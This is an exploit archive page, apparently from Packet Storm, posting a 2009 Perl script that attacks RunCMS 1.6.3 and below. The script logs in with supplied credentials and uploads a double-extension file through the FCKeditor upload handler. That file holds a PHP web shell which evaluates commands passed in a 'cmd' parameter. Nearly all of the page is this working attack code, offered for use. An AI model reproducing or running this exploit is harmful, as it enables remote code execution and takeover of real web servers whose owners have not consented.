exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

RunCMS 1.6.3 Shell Injection

RunCMS 1.6.3 Shell Injection
Posted Jul 13, 2009
Authored by StAkeR

RunCMS versions 1.6.3 and below "double ext" remote shell injection exploit.

tags | exploit, remote, shell
SHA-256 | 04bf7efaa8e4107745531c75d58d47086924f4410af4e3082c2155c9b5adb13f

RunCMS 1.6.3 Shell Injection

Change Mirror Download
#!/usr/bin/perl

# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #
# RunCMS <= 1.6.3 "double ext" remote shell injection exploit #
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #
# #
# Note: you may upload files with double extension #
# FCKEditor must be enabled for users #
# #
# #
# by staker #
# ------------------------------ #
# mail: staker[at]hotmail[dot]it #
# url: https://www.runcms.org #
# ------------------------------ #
# Discovered on 15 June 2009 #
# Happy Birthday Irene #
# ----------------------------------------------------------- #


use IO::Socket;
use LWP::UserAgent;


cronx_us();

my ($host,$path,$username) = @ARGV;
my $password = $ARGV[3] || exit;
my $filename = "snippet.jpg.pwl"; # change it this is just an example

shell_up();

sub cronx_us() {

print "[*------------------------------------------------------------*]\n".
"[* RunCMS <= 1.6.3 (fckeditor) remote shell injection exploit *]\n".
"[*------------------------------------------------------------*]\n".
"[* Usage: perl web.pl [host] [path] [user] [pass] *]\n".
"[* *]\n".
"[* Options: *]\n".
"[* [host] insert a valid host *]\n".
"[* [path] insert a valid RunCMS path *]\n".
"[* [user] your username *]\n".
"[* [pass] your password *]\n".
"[*------------------------------------------------------------*]\n";
}

sub login() {

my $LWP = new LWP::UserAgent;

my $post = $LWP->post(http_url($host)."/$path/user.php",
[ uname => $username,
pass => $password,
op => 'login',
]) || die $!;

if ($post->as_string =~ /Set-Cookie: (.*)/i) {
return $1;
}
}

sub http_url() {

my $string = shift @_ || die($!);

if ($string !~ /^https:\/\/?/i) {
return 'https://'.$string;
}
}


sub shell_up() {

my ($data,$packet,$result);
my $cookie = login();


my $vector = chr(45) x27;
my $socket = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 80,
Proto => 'tcp',
) or die $!;


$data .= $vector."--uploading\r\n";
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
$data .= "Content-Type: unknown/unknown\r\n\r\n";
$data .= "<?php error_reporting(E_ALL); if(isset(\$_GET['cmd'])){die(eval(stripslashes(\$_GET['cmd'])));} ?>\r\n";
$data .= $vector."--uploading--\r\n";

$packet .= "POST $path/class/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=".$vector."uploading\r\n";
$packet .= "Host: $host\r\n";
$packet .= "Cookie: $cookie\r\n";
$packet .= "User-Agent :Lynx (textmode)\r\n";
$packet .= "Content-Length: ".length($data)."\r\n";
$packet .= "Connection: Close\r\n\r\n";
$packet .= $data;

$socket->send($packet);

foreach $result (<$socket>) {

if ($result =~ /file uploader is disabled/i) {
die("No access for you..\n");
}
else {
print $result;
}
}
}


__END__


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close